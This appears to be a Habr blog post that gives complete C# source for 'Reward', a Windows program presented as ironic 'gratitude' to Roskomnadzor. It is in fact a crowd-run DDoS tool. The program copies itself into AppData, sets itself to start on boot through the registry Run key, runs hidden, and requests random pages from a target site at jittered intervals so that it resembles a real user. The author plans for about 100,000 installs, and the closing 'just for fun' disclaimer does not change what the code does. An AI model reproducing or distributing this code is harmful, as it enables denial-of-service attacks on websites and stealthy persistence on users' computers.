Pull to refresh

Reward: Благодарность от чистого сердца

Reading time5 min
Views3.7K
В один прекрасный день, в поисках недавно вышедшего фильма, я обнаружил, что на всех сайтах раздача удалена по требованию Роскомнадзора, а на Рутрекер его ещё никто не залил.

Немного расстроенный я решил утешиться написанием десктоп-приложения, которое должно помочь каждому пользователю интернета с выразить свою благодарность любимому сайту, например, сайту Роскомнадзора (за то, что он блюдёт законы и защищает нашу безопасность).
Ну а что может быть более приятным, чем массовые посещения твоего сайта?

Что у меня получилось смотрите под катом.

Я решил пойти предельно честным путём — имитировать Хабраэффект (Представляете, сколько радости ждёт кого-то?). Для начала создадим в Visual Studio пустой проект и в настройках проекта укажем его тип: Windows Application.

Наше приложение будет просто подгружать каждые 15-20 секунд случайную страницу с сайта и выбирать из неё ссылку для следующей загрузки. Если, скажем около ста тысяч человек пожелает отблагодарить Роскомнадзор, Хабраэффект неминуем. С мыслями о добром деле приступим к реализации.

Я старался описывать действия программы и поэтому часть статьи находится в комментариях к коду.

Всю основную работу будет выполнять экземпляр класса RandomBrowser с помощью нескольких внешних расширяющих методов класса String:

class RandomBrowser
{
    private readonly WebClient Downoader = new WebClient();
    private readonly Random Randomizer = new Random();

    // Имя, стартовая страница
    public readonly String DomainName;
    public readonly String DomainPage;
    // Выбранная ссылка для следующего запроса, 
    // свойство планируется в будущем использовать для логгирования
    public String NextUrl { private set; get; }

    // Метод осуществляет закачку страницы по ссылке NextUrl
    public void Request()
    {
        try
        {
            // Скачиваем страницу и парсим из неё все ссылки
            // Тут мы используем расширяющий метод String.GetHtmlLinks
            List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName);
            // Если есть ссылки, то выбираем случайную для следующего запроса,
            // иначе снова выбираем стартовую страницу
            NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage;
        }
        // В случае ошибки парсинга или загрузки страницы
        // сбрасываем следующую ссылку до начальной страницы
        catch (Exception)
        {
            NextUrl = DomainPage;
        }
    }

    // Принимаем стартовую страницу
    public RandomBrowser(String startPage)
    {
        // Устанавливаем имя домена и его стартовую страницу
        // Тут мы используем расширяющий метод String.GetDomainName
        DomainName = startPage?.GetDomainName();
        DomainPage = @"http://www." + DomainName;
        NextUrl = startPage;
    }
}

Так как мы пишем приложение для как можно большего числа пользователей, то собирать его придётся под .NET Framework 4, так как этот вариант гарантированно запустится на большинстве машин с Windows 7, 8, 10. Поэтому для всех операций закачки придётся использовать класс WebClient.

А вот и наши расширяющие класс String методы:

static class Extensions
{
    // Порядок префиксов важен
    private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." };

    // Метод возвращает имя домена из строки
    public static String GetDomainName(this String url)
    {
        foreach (String i in Prefixes)
        {
            if (url.IndexOf(i) == 0)
            {
                url = url.Remove(0, i.Length);
            }
        }
        Int32 subdomain = url.IndexOf('/');
        return subdomain == -1 ? url : url.Remove(subdomain);
    }

    // Метод парсит html-страницу в виде строки и возвращает все ссылки
    // Принимает строку и доменное имя для фильтрации
    public static List<String> GetHtmlLinks(this String page, String domainName = null)
    {
        // Тут я использую позаимствованную на просторах Хабра регулярку
        List<String> result = new List<String>();
        Regex reHref = new Regex(@"(?inx)
        <a \s [^>]*
            href \s* = \s*
                (?<q> ['""] )
                    (?<url> [^""]+ )
                \k<q>
        [^>]* >");
        foreach (Match i in reHref.Matches(page))
        {
            result.Add(i.Groups["url"].ToString());
        }
        // Если было установлено доменное имя для фильтрации ссылок, то отсеиваем все лишние
        return domainName == null
             ? result
             : new List<String>(result.Where(i => i.GetDomainName() == domainName));
    }
}

И наконец, завершим создание нашего приложения, я назвал его Reward (награда в виде подобия Хабраэффекта), написанием точки входа:

class Program
{
    static void Main()
    {
        // Думаю комментировать имена переменных излишне
        const String appName = "Reward";
        String appDirectory =
            $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}";
        const String fileName = appName + ".exe";
        String filePath = $@"{appDirectory}\{fileName}";
        // Что бы пользователю было удобнее, запишем наше приложение в автозагрузку в реестр
        RegistryKey autorun = 
            Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true);
        String regValue = autorun.GetValue(appName) as String;
        // Если ключ реестра не найден 
        // или параметром ключа не является строка (из-за действия оператора as)
        // или строка не является правильным путем
        if (regValue == null || regValue != filePath)
        {
            // Значит приложение ещё не запускалось
            // Выводим приветствие для первого раза:
            MessageBox.Show("Теперь вы сможете поддерживать любимый сайт круглосуточно!", "Там-парарам");
            // Проверяем существование директории для приложения
            if (!File.Exists(filePath))
            {
                // И создаём её в случае необходимости
                if (!Directory.Exists(appDirectory))
                {
                    Directory.CreateDirectory(appDirectory);
                }
                // Проверяем содержание текущего пути до экземпляра
                // в аргументах командной строки,
                // если не находим, 
                // то используем предполагаемый путь по умолчанию.
                // Затем, скопируем наше приложение в "AppData/Roaming",
                // дабы исполняемый файл на рабочем столе не мозолил глаза
                String[] args = Environment.GetCommandLineArgs();
                File.Copy(
                    args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", 
                    filePath);
            }
            // Прописываемся в реестре
            autorun.SetValue(appName, filePath);
            // И запускаем наш новый экземпляр из "AppData/Roaming"            
            Process.Start(filePath);
            // Завершаем работу текущего экземпляра, 
            // теперь пользователь может его спокойно удалить
            return;
        }

        // Собственно основной цикл работы приложения:
        RandomBrowser browser = new RandomBrowser(@"http://www.ПримерСайтаДляБлагодарности.рф");
        Random randomizer = new Random();
        while (true)
        {
            // Для того что бы наше приложение вело себя более похожим образом 
            // на пользователя, 
            // и "кликало" по ссылкам через разные промежутки времени от 15 секунд,
            // добавим элемент случайности
            Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10)));
            browser.Request();
        }
    }
}

Итак, у нас получилось незаметное в таскбаре, постоянно висящее в процессах и потребляющее на моем десктопе 3 мб оперативной памяти приложение. Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.

Не зарабатываю на хлеб программированием, это скорее моё хобби под настроение в свободное время.

Жду шквала унижающей уничтожающей критики, и, если повезёт услышать, советов по доработке.

Эта статья не является призывом идти и благодарить таким способом какие-нибудь сайты, а весь код был написан исключительно для развлечения.
Tags:
Hubs:
Total votes 45: ↑15 and ↓30-15
Comments31

Articles